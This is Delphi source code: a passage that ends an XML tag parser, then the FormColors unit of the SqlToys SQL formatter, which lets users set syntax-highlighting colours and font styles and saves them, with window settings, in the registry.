'/' then begin stat := 0; Break; end; end; li := i + 1; while (li<l) and (adata[li] = ' ') do inc(li); end; 1: begin state := 0; attrparams := trimquotes(copy(adata,li,i-li)); if i = l then attrs.Add(lastattr,attrparams); li := i + 1; while (li<l) and (adata[li] = ' ') do inc(li); end; end; '=': if (tagname <> '') and (state = 0) then begin state := 1; if (li <> i) and (lastattr <> '') then attrs.Add(lastattr,attrparams); lastattr := copy(adata,li,i-li); attrparams := ''; li := i + 1; while (li<l) and (adata[li] = ' ') do inc(li); end; '"': if tagname <> '' then case state of 1: state := 2; 2: state := 1; end; '''': if tagname <> '' then case state of 1: state := 3; 3: state := 1; end; end; end; case stat of -1: if Assigned(FOnEndTag) then FOnEndTag(copy(adata,li,length(adata)-li)); 0: if Assigned(FOnEmptyTag) then FOnEmptyTag(tagname,Attrs); 1: if Assigned(FOnStartTag) then FOnStartTag(tagname,Attrs); end; if Assigned(attrs) then attrs.Free; end; function checkstr(s: string): boolean; var i: integer; begin s := trim(s); Result := True; for i := 1 to length(s) do if not CharInSet(s[i],[' ',#13,#10,#9]) then Exit; Result := False; end; var i,li,l,state: integer; txt: string; sr: string; begin txt := ''; state := 0; l := length(S); i := 1; li := 1; while true do begin while (i <= l) and (s[i] <> '<') do inc(i); txt := copy(s,li,i-li); if Assigned(FOnContent) and (checkstr(txt)) then FOnContent(txt); inc(i); li := i; if i >= l then Break; while (i <= l) and ((s[i] <> '>') or (state <> 0)) do begin case s[i] of '"': case state of 0: state := 1; 1: state := 0; end; '''': case state of 0: state := 2; 2: state := 0; end; end; inc(i) end; if i > l then Break; sr := copy(s,li,i-li); parsetag(sr); inc(i); li := i; end; end; procedure TMyXMLParser.Parse(S: TStrings); begin Parse(S.Text); end; end.
(* $Header: /SQL Toys/SqlFormatter/FormColors.pas 7 17-12-15 22:20 Tomek $ (c) Tomasz Gierka, github.com/SqlToys, 2012.03.31 *) {-------------------------------------- --------------------------------------} {$IFDEF RELEASE} {$DEBUGINFO OFF} {$LOCALSYMBOLS OFF} {$ENDIF} unit FormColors; interface uses Forms, Controls, StdCtrls, ComCtrls, Classes, ExtCtrls, Graphics, SqlTokenizers, SqlCommon, SqlLister; type TYaSettingsAction = ( yacsGetFromRegistry, yacsPutToRegistry, yacsDefault ); type TFormColors = class(TForm) PanelBtn: TPanel; BtnCancel: TButton; BtnOK: TButton; BtnReset: TButton; BtnStored: TButton; PanelColorStylesMain: TPanel; LabelDisabled: TLabel; LabelErrors: TLabel; LabelComments: TLabel; LabelPlainText: TLabel; LabelBoldItalicUnderlineMain: TLabel; LabelIdentifier: TLabel; LabelKeywords: TLabel; LabelNumbers: TLabel; LabelStrings: TLabel; LabelOperators: TLabel; EditColorPlainText: TEdit; EditColorComments: TEdit; EditColorErrors: TEdit; EditColorDisabled: TEdit; ButtonColorPlainText: TButton; ButtonColorComments: TButton; ButtonColorErrors: TButton; ButtonColorDisabled: TButton; CheckBoxUnderlineDisabled: TCheckBox; CheckBoxItalicDisabled: TCheckBox; CheckBoxBoldDisabled: TCheckBox; CheckBoxBoldErrors: TCheckBox; CheckBoxItalicErrors: TCheckBox; CheckBoxUnderlineErrors: TCheckBox; CheckBoxUnderlineComments: TCheckBox; CheckBoxItalicComments: TCheckBox; CheckBoxBoldComments: TCheckBox; CheckBoxBoldPlainText: TCheckBox; CheckBoxItalicPlainText: TCheckBox; CheckBoxUnderlinePlainText: TCheckBox; EditColorIdentifiers: TEdit; ButtonColorIdentifiers: TButton; CheckBoxBoldIdentifiers: TCheckBox; CheckBoxItalicIdentifiers: TCheckBox; CheckBoxUnderlineIdentifiers: TCheckBox; EditColorKeywords: TEdit; ButtonColorKeywords: TButton; CheckBoxBoldKeywords: TCheckBox; CheckBoxItalicKeywords: TCheckBox; CheckBoxUnderlineKeywords: TCheckBox; EditColorOperators: TEdit; EditColorStrings: TEdit; EditColorNumbers: TEdit; ButtonColorNumbers: TButton; ButtonColorStrings: TButton; ButtonColorOperators: TButton; CheckBoxBoldOperators: TCheckBox; CheckBoxItalicOperators: TCheckBox; CheckBoxUnderlineOperators: TCheckBox; CheckBoxUnderlineStrings: TCheckBox; CheckBoxItalicStrings: TCheckBox; CheckBoxBoldStrings: TCheckBox; CheckBoxBoldNumbers: TCheckBox; CheckBoxItalicNumbers: TCheckBox; CheckBoxUnderlineNumbers: TCheckBox; PanelColorStylesIdentifiers: TPanel; LabelTable: TLabel; LabelColumn: TLabel; LabelTableAlias: TLabel; LabelColumnAlias: TLabel; LabelFunctions: TLabel; LabelBoldItalicUnderlineIdentifiers: TLabel; LabelView: TLabel; LabelSynonym: TLabel; LabelConstraint: TLabel; LabelParameters: TLabel; LabelTransaction: TLabel; LabelExtQueryAliasOrTable: TLabel; LabelAggrFunctions: TLabel; LabelFunParameters: TLabel; EditColorFunctions: TEdit; EditColorColumnAliases: TEdit; EditColorTableAliases: TEdit; EditColorColumns: TEdit; EditColorTables: TEdit; ButtonColorTables: TButton; ButtonColorColumns: TButton; ButtonColorTableAliases: TButton; ButtonColorColumnAliases: TButton; ButtonColorFunctions: TButton; CheckBoxUnderlineTables: TCheckBox; CheckBoxItalicTables: TCheckBox; CheckBoxBoldTables: TCheckBox; CheckBoxBoldColumns: TCheckBox; CheckBoxBoldTableAliases: TCheckBox; CheckBoxBoldColumnAliases: TCheckBox; CheckBoxBoldFunctions: TCheckBox; CheckBoxItalicFunctions: TCheckBox; CheckBoxUnderlineFunctions: TCheckBox; CheckBoxItalicColumnAliases: TCheckBox; CheckBoxUnderlineColumnAliases: TCheckBox; CheckBoxUnderlineTableAliases: TCheckBox; CheckBoxItalicTableAliases: TCheckBox; CheckBoxItalicColumns: TCheckBox; CheckBoxUnderlineColumns: TCheckBox; EditColorViews: TEdit; ButtonColorViews: TButton; CheckBoxBoldViews: TCheckBox; CheckBoxItalicViews: TCheckBox; CheckBoxUnderlineViews: TCheckBox; EditColorSynonyms: TEdit; ButtonColorSynonyms: TButton; CheckBoxBoldSynonyms: TCheckBox; CheckBoxItalicSynonyms: TCheckBox; CheckBoxUnderlineSynonyms: TCheckBox; EditColorConstraints: TEdit; ButtonColorConstraints: TButton; CheckBoxBoldConstraints: TCheckBox; CheckBoxItalicConstraints: TCheckBox; CheckBoxUnderlineConstraints: TCheckBox; CheckBoxIdentifiers: TCheckBox; EditColorParameters: TEdit; ButtonColorParameters: TButton; CheckBoxBoldParameters: TCheckBox; CheckBoxItalicParameters: TCheckBox; CheckBoxUnderlineParameters: TCheckBox; EditColorTransactions: TEdit; ButtonColorTransactions: TButton; CheckBoxBoldTransactions: TCheckBox; CheckBoxItalicTransactions: TCheckBox; CheckBoxUnderlineTransactions: TCheckBox; EditColorExtQueryAliasOrTable: TEdit; ButtonColorExtQueryAliasOrTable: TButton; CheckBoxBoldExtQueryAliasOrTable: TCheckBox; CheckBoxItalicExtQueryAliasOrTable: TCheckBox; CheckBoxUnderlineExtQueryAliasOrTable: TCheckBox; EditColorAggrFunctions: TEdit; ButtonColorAggrFunctions: TButton; CheckBoxBoldAggrFunctions: TCheckBox; CheckBoxItalicAggrFunctions: TCheckBox; CheckBoxUnderlineAggrFunctions: TCheckBox; EditColorFunParameters: TEdit; ButtonColorFunParameters: TButton; CheckBoxBoldFunParameters: TCheckBox; CheckBoxItalicFunParameters: TCheckBox; CheckBoxUnderlineFunParameters: TCheckBox; PanelColorStylesKeywords: TPanel; LabelDatatypes: TLabel; LabelBoldItalicUnderlineKeywords: TLabel; LabelDmlSelect: TLabel; LabelDmlInsert: TLabel; LabelDmlUpdate: TLabel; LabelDmlDelete: TLabel; LabelDdlCreate: TLabel; LabelDcl: TLabel; LabelDdlDrop: TLabel; LabelUnion: TLabel; LabelDdlModify: TLabel; LabelTcl: TLabel; LabelNull: TLabel; LabelPrior: TLabel; LabelDdlCreateView: TLabel; EditColorDatatypes: TEdit; ButtonColorDatatypes: TButton; CheckBoxBoldDatatypes: TCheckBox; CheckBoxUnderlineDatatypes: TCheckBox; CheckBoxItalicDatatypes: TCheckBox; EditColorDmlSelect: TEdit; ButtonColorDmlSelect: TButton; CheckBoxBoldDmlSelect: TCheckBox; CheckBoxItalicDmlSelect: TCheckBox; CheckBoxUnderlineDmlSelect: TCheckBox; EditColorDmlInsert: TEdit; ButtonColorDmlInsert: TButton; CheckBoxBoldDmlInsert: TCheckBox; CheckBoxItalicDmlInsert: TCheckBox; CheckBoxUnderlineDmlInsert: TCheckBox; EditColorDmlUpdate: TEdit; ButtonColorDmlUpdate: TButton; CheckBoxBoldDmlUpdate: TCheckBox; CheckBoxItalicDmlUpdate: TCheckBox; CheckBoxUnderlineDmlUpdate: TCheckBox; EditColorDmlDelete: TEdit; ButtonColorDmlDelete: TButton; CheckBoxBoldDmlDelete: TCheckBox; CheckBoxItalicDmlDelete: TCheckBox; CheckBoxUnderlineDmlDelete: TCheckBox; EditColorDdlCreate: TEdit; ButtonColorDdlCreate: TButton; CheckBoxBoldDdlCreate: TCheckBox; CheckBoxItalicDdlCreate: TCheckBox; CheckBoxUnderlineDdlCreate: TCheckBox; EditColorDcl: TEdit; ButtonColorDcl: TButton; CheckBoxBoldDcl: TCheckBox; CheckBoxItalicDcl: TCheckBox; CheckBoxUnderlineDcl: TCheckBox; EditColorDdlDrop: TEdit; ButtonColorDdlDrop: TButton; CheckBoxBoldDdlDrop: TCheckBox; CheckBoxItalicDdlDrop: TCheckBox; CheckBoxUnderlineDdlDrop: TCheckBox; EditColorUnion: TEdit; ButtonColorUnion: TButton; CheckBoxBoldUnions: TCheckBox; CheckBoxItalicUnions: TCheckBox; CheckBoxUnderlineUnions: TCheckBox; EditColorDdlModify: TEdit; ButtonColorDdlModify: TButton; CheckBoxBoldDdlModify: TCheckBox; CheckBoxItalicDdlModify: TCheckBox; CheckBoxUnderlineDdlModify: TCheckBox; EditColorTcl: TEdit; ButtonColorTcl: TButton; CheckBoxBoldTcl: TCheckBox; CheckBoxItalicTcl: TCheckBox; CheckBoxUnderlineTcl: TCheckBox; CheckBoxKeywords: TCheckBox; EditColorNull: TEdit; ButtonColorNull: TButton; CheckBoxBoldNull: TCheckBox; CheckBoxItalicNull: TCheckBox; CheckBoxUnderlineNull: TCheckBox; EditColorPrior: TEdit; ButtonColorPrior: TButton; CheckBoxBoldPrior: TCheckBox; CheckBoxItalicPrior: TCheckBox; CheckBoxUnderlinePrior: TCheckBox; EditColorDdlCreateView: TEdit; ButtonColorDdlCreateView: TButton; CheckBoxBoldDdlCreateView: TCheckBox; CheckBoxItalicDdlCreateView: TCheckBox; CheckBoxUnderlineDdlCreateView: TCheckBox; PanelColorStylesBrackets: TPanel; LabelBrackets6: TLabel; LabelBrackets5: TLabel; LabelBrackets4: TLabel; LabelBrackets3: TLabel; LabelBrackets1: TLabel; LabelBrackets2: TLabel; LabelBoldItalicUnderlineBrackets: TLabel; EditColorBrackets1: TEdit; EditColorBrackets2: TEdit; EditColorBrackets3: TEdit; EditColorBrackets4: TEdit; EditColorBrackets5: TEdit; EditColorBrackets6: TEdit; ButtonColorBrackets6: TButton; ButtonColorBrackets5: TButton; ButtonColorBrackets4: TButton; ButtonColorBrackets3: TButton; ButtonColorBrackets2: TButton; ButtonColorBrackets1: TButton; CheckBoxBoldBrackets1: TCheckBox; CheckBoxItalicBrackets1: TCheckBox; CheckBoxUnderlineBrackets1: TCheckBox; CheckBoxUnderlineBrackets2: TCheckBox; CheckBoxItalicBrackets2: TCheckBox; CheckBoxBoldBrackets2: TCheckBox; CheckBoxBoldBrackets3: TCheckBox; CheckBoxItalicBrackets3: TCheckBox; CheckBoxUnderlineBrackets3: TCheckBox; CheckBoxUnderlineBrackets4: TCheckBox; CheckBoxItalicBrackets4: TCheckBox; CheckBoxBoldBrackets4: TCheckBox; CheckBoxBoldBrackets5: TCheckBox; CheckBoxItalicBrackets5: TCheckBox; CheckBoxUnderlineBrackets5: TCheckBox; CheckBoxUnderlineBrackets6: TCheckBox; CheckBoxItalicBrackets6: TCheckBox; CheckBoxBoldBrackets6: TCheckBox; CheckBoxBrackets: TCheckBox; PanelColorStylesCases: TPanel; LabelCases6: TLabel; LabelCases5: TLabel; LabelCases4: TLabel; LabelCases3: TLabel; LabelCases1: TLabel; LabelCases2: TLabel; LabelBoldItalicUnderlineCases: TLabel; EditColorCases1: TEdit; EditColorCases2: TEdit; EditColorCases3: TEdit; EditColorCases4: TEdit; EditColorCases5: TEdit; EditColorCases6: TEdit; ButtonColorCases6: TButton; ButtonColorCases5: TButton; ButtonColorCases4: TButton; ButtonColorCases3: TButton; ButtonColorCases2: TButton; ButtonColorCases1: TButton; CheckBoxBoldCases1: TCheckBox; CheckBoxItalicCases1: TCheckBox; CheckBoxUnderlineCases1: TCheckBox; CheckBoxUnderlineCases2: TCheckBox; CheckBoxItalicCases2: TCheckBox; CheckBoxBoldCases2: TCheckBox; CheckBoxBoldCases3: TCheckBox; CheckBoxItalicCases3: TCheckBox; CheckBoxUnderlineCases3: TCheckBox; CheckBoxUnderlineCases4: TCheckBox; CheckBoxItalicCases4: TCheckBox; CheckBoxBoldCases4: TCheckBox; CheckBoxBoldCases5: TCheckBox; CheckBoxItalicCases5: TCheckBox; CheckBoxUnderlineCases5: TCheckBox; CheckBoxUnderlineCases6: TCheckBox; CheckBoxItalicCases6: TCheckBox; CheckBoxBoldCases6: TCheckBox; CheckBoxCases: TCheckBox; procedure FormShow(Sender: TObject); procedure BtnOKClick(Sender: TObject); procedure FormKeyPress(Sender: TObject; var Key: Char); procedure EditColorChange(Sender: TObject); procedure BtnResetClick(Sender: TObject); procedure BtnStoredClick(Sender: TObject); procedure EditColorButtonClick(Sender: TObject); procedure ColorAndStyleAction(aAction: TYaSettingsAction); procedure ChkBoxAction (aAction: TYaSettingsAction); private { Private declarations } public { Public declarations } ScriptEditFont, DBGridFont: TFont; end; type TYaIntSettings = ( yastWindowTop, yastWindowLeft, yastWindowState, yastWindowHeight, yastWindowWidth, yastSplitterWidth, yastSplitterHeight, yastEditFontSize, yastGridFontSize ); var YA_SET_INT_ARR : array [ TYaIntSettings ] of record Key: TYaRegKey; Reg: String; Def: Integer end = ( (Key: yarkCommon; Reg: 'MainWindowTop'; Def: 0), (Key: yarkCommon; Reg: 'MainWindowLeft'; Def: 0), (Key: yarkCommon; Reg: 'MainWindowState'; Def: Ord(wsNormal)), (Key: yarkCommon; Reg: 'MainWindowHeight'; Def: 600), (Key: yarkCommon; Reg: 'MainWindowWidth'; Def: 800), (Key: yarkCommon; Reg: 'TreePanelWidth'; Def: 200), (Key: yarkCommon; Reg: 'TreePanelHeight'; Def: 100), (Key: yarkCommon; Reg: 'EditFontSize'; Def: 13), (Key: yarkCommon; Reg: 'GridFontSize'; Def: 13) ); procedure YaRegistryPutInt(aSett: TYaIntSettings; aValue: Integer; aForce: Boolean = False); function YaRegistryGetInt(aSett: TYaIntSettings; aValue: Integer = 0): Integer; type TYaStrSettings = ( yastEditFontName, yastLastConnection, yastGridFontName ); var YA_SET_STR_ARR : array [ TYaStrSettings ] of record Key: TYaRegKey; Reg: String; Def: String end = ( (Key: yarkCommon; Reg: 'EditFontName'; Def: 'Courier New'), (Key: yarkCommon; Reg: 'LastConnection'; Def: ''), (Key: yarkCommon; Reg: 'GridFontName'; Def: 'Courier New') ); procedure YaRegistryPutStr(aSett: TYaStrSettings; aValue: String; aForce: Boolean = False); function YaRegistryGetStr(aSett: TYaStrSettings; aValue: String = ''): String; {------------------------------- Default Values -------------------------------} implementation uses Dialogs, SysUtils, GtStandard, GtRegistry, SqlVersion; {$R *.dfm} { form show } procedure TFormColors.FormShow(Sender: TObject); begin Caption := VER_NAME + ' - Colors...'; BtnStoredClick(Sender); end; { button OK } procedure TFormColors.BtnOKClick(Sender: TObject); begin rguDeleteKey( YA_SETTINGS_KEY ); rguPutStr(YA_VERSION_KEY, VER_NUMBER); { commons } ChkBoxAction(yacsPutToRegistry); ColorAndStyleAction(yacsPutToRegistry); { Close } Close; end; { Form Key Press Event } procedure TFormColors.FormKeyPress(Sender: TObject; var Key: Char); begin { Escape key - Close Form } if Key = #27 then Close; end; { Edit Color On Change } procedure TFormColors.EditColorChange(Sender: TObject); procedure DoIt(aPanel: TPanel); var i: Integer; begin for i := 0 to aPanel.ControlCount - 1 do if aPanel.Controls [i] is TEdit then begin TEdit(aPanel.Controls [i]).StyleElements := [seClient, seBorder]; TEdit(aPanel.Controls [i]).Font.Color := $2000000 + RGB_SwapRandB( HexToInt( TEdit(aPanel.Controls [i]).Text ) ); end; end; begin DoIt( PanelColorStylesMain ); DoIt( PanelColorStylesIdentifiers ); DoIt( PanelColorStylesKeywords ); DoIt( PanelColorStylesBrackets ); DoIt( PanelColorStylesCases ); end; { reset to defaults } procedure TFormColors.BtnResetClick(Sender: TObject); begin { commons } ChkBoxAction(yacsDefault); ColorAndStyleAction(yacsDefault); EditColorChange(Sender); end; { recall stored values } procedure TFormColors.BtnStoredClick(Sender: TObject); begin { commons } ChkBoxAction(yacsGetFromRegistry); ColorAndStyleAction(yacsGetFromRegistry); EditColorChange(Sender); end; { calls Color Dialog } procedure TFormColors.EditColorButtonClick(Sender: TObject); var Dlg : TColorDialog; Edt: TEdit; begin try Edt := FindNextControl(TWinControl(Sender), False, True, False) as TEdit; except Edt := nil; end; if not Assigned(Edt) then Exit; Dlg := TColorDialog.Create(Self); try Dlg.Color := Edt.Font.Color and $FFFFFF; Dlg.Options := [cdFullOpen, cdAnyColor{, cdShowHelp}]; if Dlg.Execute then begin Edt.Text := IntToHex( RGB_SwapRandB( Integer(Dlg.Color) ), 6 ); EditColorChange(Self); end; finally Dlg.Free; end; end; { sets chain between visual color and style controls and their ids } procedure TFormColors.ColorAndStyleAction(aAction: TYaSettingsAction); procedure ColorAndStyleSingleAction(aAction: TYaSettingsAction; aStyle: TGtLexTokenStyle; aColorEdit: TEdit; aBoldEdit, aItalicEdit, aUnderlineEdit: TCheckBox); begin case aAction of yacsGetFromRegistry: begin aColorEdit.Text := YaRegistryGetColor(aStyle); aBoldEdit.Checked := YaRegistryGetBold(aStyle); aItalicEdit.Checked := YaRegistryGetItalic(aStyle); aUnderlineEdit.Checked := YaRegistryGetUnderline(aStyle); end; yacsPutToRegistry: begin YaRegistryPutColor(aStyle, aColorEdit.Text); YaRegistryPutBIU (aStyle, aBoldEdit.Checked, aItalicEdit.Checked, aUnderlineEdit.Checked); end; yacsDefault: begin aColorEdit.Text := IntToHex( YA_SET_COLOR_ARR [aStyle].Color, 6 ); aBoldEdit.Checked := Pos('B', YA_SET_COLOR_ARR [aStyle].Style) > 0; aItalicEdit.Checked := Pos('I', YA_SET_COLOR_ARR [aStyle].Style) > 0; aUnderlineEdit.Checked := Pos('U', YA_SET_COLOR_ARR [aStyle].Style) > 0; end; end; end; begin ColorAndStyleSingleAction(aAction, gtlsPlainText, EditColorPlainText, CheckBoxBoldPlainText, CheckBoxItalicPlainText, CheckBoxUnderlinePlainText); ColorAndStyleSingleAction(aAction, gtlsComment, EditColorComments, CheckBoxBoldComments, CheckBoxItalicComments, CheckBoxUnderlineComments); ColorAndStyleSingleAction(aAction, gtlsError, EditColorErrors, CheckBoxBoldErrors, CheckBoxItalicErrors, CheckBoxUnderlineErrors); ColorAndStyleSingleAction(aAction, gtlsDisabled, EditColorDisabled, CheckBoxBoldDisabled, CheckBoxItalicDisabled, CheckBoxUnderlineDisabled); ColorAndStyleSingleAction(aAction, gtlsNumber, EditColorNumbers, CheckBoxBoldNumbers, CheckBoxItalicNumbers, CheckBoxUnderlineNumbers); ColorAndStyleSingleAction(aAction, gtlsString, EditColorStrings, CheckBoxBoldStrings, CheckBoxItalicStrings, CheckBoxUnderlineStrings); ColorAndStyleSingleAction(aAction, gtlsOperator, EditColorOperators, CheckBoxBoldOperators, CheckBoxItalicOperators, CheckBoxUnderlineOperators); ColorAndStyleSingleAction(aAction, gtlsIdentifier, EditColorIdentifiers, CheckBoxBoldIdentifiers, CheckBoxItalicIdentifiers, CheckBoxUnderlineIdentifiers); ColorAndStyleSingleAction(aAction, gtlsConstraint, EditColorConstraints, CheckBoxBoldConstraints, CheckBoxItalicConstraints, CheckBoxUnderlineConstraints); ColorAndStyleSingleAction(aAction, gtlsTable, EditColorTables, CheckBoxBoldTables, CheckBoxItalicTables, CheckBoxUnderlineTables); ColorAndStyleSingleAction(aAction, gtlsView, EditColorViews, CheckBoxBoldViews, CheckBoxItalicViews, CheckBoxUnderlineViews); ColorAndStyleSingleAction(aAction, gtlsSynonym, EditColorSynonyms, CheckBoxBoldSynonyms, CheckBoxItalicSynonyms, CheckBoxUnderlineSynonyms); ColorAndStyleSingleAction(aAction, gtlsColumn, EditColorColumns, CheckBoxBoldColumns, CheckBoxItalicColumns, CheckBoxUnderlineColumns); ColorAndStyleSingleAction(aAction, gtlsTableAlias, EditColorTableAliases, CheckBoxBoldTableAliases, CheckBoxItalicTableAliases, CheckBoxUnderlineTableAliases); ColorAndStyleSingleAction(aAction, gtlsColumnAlias, EditColorColumnAliases,CheckBoxBoldColumnAliases,CheckBoxItalicColumnAliases,CheckBoxUnderlineColumnAliases); // ColorAndStyleSingleAction(aAction, gtlsRefColumn, EditColorRefColumns, CheckBoxBoldRefColumns, CheckBoxItalicRefColumns, CheckBoxUnderlineRefColumns); ColorAndStyleSingleAction(aAction, gtlsFunction, EditColorFunctions, CheckBoxBoldFunctions, CheckBoxItalicFunctions, CheckBoxUnderlineFunctions); ColorAndStyleSingleAction(aAction, gtlsAggrFunction,EditColorAggrFunctions,CheckBoxBoldAggrFunctions,CheckBoxItalicFunctions, CheckBoxUnderlineAggrFunctions); ColorAndStyleSingleAction(aAction, gtlsTransaction, EditColorTransactions, CheckBoxBoldTransactions, CheckBoxItalicTransactions, CheckBoxUnderlineTransactions); ColorAndStyleSingleAction(aAction, gtlsParameter, EditColorParameters, CheckBoxBoldParameters, CheckBoxItalicParameters, CheckBoxUnderlineParameters); ColorAndStyleSingleAction(aAction, gtlsFunParameter,EditColorFunParameters,CheckBoxBoldFunParameters,CheckBoxItalicParameters, CheckBoxUnderlineFunParameters); ColorAndStyleSingleAction(aAction, gtlsExtQueryAliasOrTable,EditColorExtQueryAliasOrTable,CheckBoxBoldExtQueryAliasOrTable,CheckBoxItalicExtQueryAliasOrTable,CheckBoxUnderlineExtQueryAliasOrTable); ColorAndStyleSingleAction(aAction, gtlsKeyword, EditColorKeywords, CheckBoxBoldKeywords, CheckBoxItalicKeywords, CheckBoxUnderlineKeywords); ColorAndStyleSingleAction(aAction, gtlsDataType, EditColorDataTypes, CheckBoxBoldDatatypes, CheckBoxItalicDatatypes, CheckBoxUnderlineDatatypes); ColorAndStyleSingleAction(aAction, gtlsDmlSelect, EditColorDmlSelect, CheckBoxBoldDmlSelect, CheckBoxItalicDmlSelect, CheckBoxUnderlineDmlSelect); ColorAndStyleSingleAction(aAction, gtlsDmlInsert, EditColorDmlInsert, CheckBoxBoldDmlInsert, CheckBoxItalicDmlInsert, CheckBoxUnderlineDmlInsert); ColorAndStyleSingleAction(aAction, gtlsDmlUpdate, EditColorDmlUpdate, CheckBoxBoldDmlUpdate, CheckBoxItalicDmlUpdate, CheckBoxUnderlineDmlUpdate); ColorAndStyleSingleAction(aAction, gtlsDmlDelete, EditColorDmlDelete, CheckBoxBoldDmlDelete, CheckBoxItalicDmlDelete, CheckBoxUnderlineDmlDelete); ColorAndStyleSingleAction(aAction, gtlsDdlCreate, EditColorDdlCreate, CheckBoxBoldDdlCreate, CheckBoxItalicDdlCreate, CheckBoxUnderlineDdlCreate); ColorAndStyleSingleAction(aAction, gtlsDdlCreateView,EditColorDdlCreateView,CheckBoxBoldDdlCreateView,CheckBoxItalicDdlCreate, CheckBoxUnderlineDdlCreateView); ColorAndStyleSingleAction(aAction, gtlsDdlDrop, EditColorDdlDrop, CheckBoxBoldDdlDrop, CheckBoxItalicDdlDrop, CheckBoxUnderlineDdlDrop); ColorAndStyleSingleAction(aAction, gtlsDdlModify, EditColorDdlModify, CheckBoxBoldDdlModify, CheckBoxItalicDdlModify, CheckBoxUnderlineDdlModify); ColorAndStyleSingleAction(aAction, gtlsTcl, EditColorTcl, CheckBoxBoldTcl, CheckBoxItalicTcl, CheckBoxUnderlineTcl); ColorAndStyleSingleAction(aAction, gtlsDcl, EditColorDcl, CheckBoxBoldDcl, CheckBoxItalicDcl, CheckBoxUnderlineDcl); ColorAndStyleSingleAction(aAction, gtlsUnion, EditColorUnion, CheckBoxBoldUnions, CheckBoxItalicUnions, CheckBoxUnderlineUnions); ColorAndStyleSingleAction(aAction, gtlsNull, EditColorNull, CheckBoxBoldNull, CheckBoxItalicNull, CheckBoxUnderlineNull); ColorAndStyleSingleAction(aAction, gtlsPrior, EditColorPrior, CheckBoxBoldPrior, CheckBoxItalicPrior, CheckBoxUnderlinePrior); ColorAndStyleSingleAction(aAction, gtlsCaseWhen1, EditColorCases1, CheckBoxBoldCases1, CheckBoxItalicCases1, CheckBoxUnderlineCases1); ColorAndStyleSingleAction(aAction, gtlsCaseWhen2, EditColorCases2, CheckBoxBoldCases2, CheckBoxItalicCases2, CheckBoxUnderlineCases2); ColorAndStyleSingleAction(aAction, gtlsCaseWhen3, EditColorCases3, CheckBoxBoldCases3, CheckBoxItalicCases3, CheckBoxUnderlineCases3); ColorAndStyleSingleAction(aAction, gtlsCaseWhen4, EditColorCases4, CheckBoxBoldCases4, CheckBoxItalicCases4, CheckBoxUnderlineCases4); ColorAndStyleSingleAction(aAction, gtlsCaseWhen5, EditColorCases5, CheckBoxBoldCases5, CheckBoxItalicCases5, CheckBoxUnderlineCases5); ColorAndStyleSingleAction(aAction, gtlsCaseWhen6, EditColorCases6, CheckBoxBoldCases6, CheckBoxItalicCases6, CheckBoxUnderlineCases6); ColorAndStyleSingleAction(aAction, gtlsBracket1, EditColorBrackets1, CheckBoxBoldBrackets1, CheckBoxItalicBrackets1, CheckBoxUnderlineBrackets1); ColorAndStyleSingleAction(aAction, gtlsBracket2, EditColorBrackets2, CheckBoxBoldBrackets2, CheckBoxItalicBrackets2, CheckBoxUnderlineBrackets2); ColorAndStyleSingleAction(aAction, gtlsBracket3, EditColorBrackets3, CheckBoxBoldBrackets3, CheckBoxItalicBrackets3, CheckBoxUnderlineBrackets3); ColorAndStyleSingleAction(aAction, gtlsBracket4, EditColorBrackets4, CheckBoxBoldBrackets4, CheckBoxItalicBrackets4, CheckBoxUnderlineBrackets4); ColorAndStyleSingleAction(aAction, gtlsBracket5, EditColorBrackets5, CheckBoxBoldBrackets5, CheckBoxItalicBrackets5, CheckBoxUnderlineBrackets5); ColorAndStyleSingleAction(aAction, gtlsBracket6, EditColorBrackets6, CheckBoxBoldBrackets6, CheckBoxItalicBrackets6, CheckBoxUnderlineBrackets6); end; { puts YA Integer Setting } procedure YaRegistryPutInt(aSett: TYaIntSettings; aValue: Integer; aForce: Boolean = False); begin if aForce or (aValue <> YA_SET_INT_ARR [ aSett ].Def) then rguPutInt(YaRegKey(YA_SET_INT_ARR [ aSett ].Key) + YA_SET_INT_ARR [ aSett ].Reg, aValue) else rguDeleteVal(YaRegKey(YA_SET_INT_ARR [ aSett ].Key) + YA_SET_INT_ARR [ aSett ].Reg); end; { gets YA Integer Setting } function YaRegistryGetInt(aSett: TYaIntSettings; aValue: Integer = 0): Integer; begin if aValue = 0 then aValue := YA_SET_INT_ARR [ aSett ].Def; Result := rguGetInt(YaRegKey(YA_SET_INT_ARR [ aSett ].Key) + YA_SET_INT_ARR [ aSett ].Reg, aValue); end; { puts YA Integer Setting } procedure YaRegistryPutStr(aSett: TYaStrSettings; aValue: String; aForce: Boolean = False); begin if aForce or (aValue <> YA_SET_STR_ARR [ aSett ].Def) then rguPutStr(YaRegKey(YA_SET_STR_ARR [ aSett ].Key) + YA_SET_STR_ARR [ aSett ].Reg, aValue) else rguDeleteVal(YaRegKey(YA_SET_STR_ARR [ aSett ].Key) + YA_SET_STR_ARR [ aSett ].Reg); end; { gets YA Integer Setting } function YaRegistryGetStr(aSett: TYaStrSettings; aValue: String = ''): String; begin if aValue = '' then aValue := YA_SET_STR_ARR [ aSett ].Def; Result := rguGetStr(YaRegKey(YA_SET_STR_ARR [ aSett ].Key) + YA_SET_STR_ARR [ aSett ].Reg, aValue); end; { sets chain between visual controls and their ids } procedure TFormColors.ChkBoxAction(aAction: TYaSettingsAction); // procedure LocalAction(aAction: TYaSettingsAction; aSetting: TGtListerSettings; aCheckBox: TCheckBox); // begin // case aAction of // yacsGetFromRegistry: aCheckBox.Checked := GtRegistryGetBool (aSetting); // yacsPutToRegistry: GtRegistryPutBool(aSetting, aCheckBox.Checked); // yacsDefault: aCheckBox.Checked := GT_SET_BOOL_ARR [aSetting].Def; // end; // end; procedure LocalAction2(aAction: TYaSettingsAction; aSetting: TYaBoolSettings; aCheckBox: TCheckBox); begin case aAction of yacsGetFromRegistry: aCheckBox.Checked := YaRegistryGetBool (aSetting); yacsPutToRegistry: YaRegistryPutBool(aSetting, aCheckBox.Checked); yacsDefault: aCheckBox.Checked := YA_SET_BOOL_ARR [aSetting].Def; end; end; begin { ext colors } LocalAction2(aAction, yastExtColorIdentifiers, CheckBoxIdentifiers); LocalAction2(aAction, yastExtColorKeywords, CheckBoxKeywords); LocalAction2(aAction, yastExtColorBrackets, CheckBoxBrackets); LocalAction2(aAction, yastExtColorCases, CheckBoxCases); end; end.
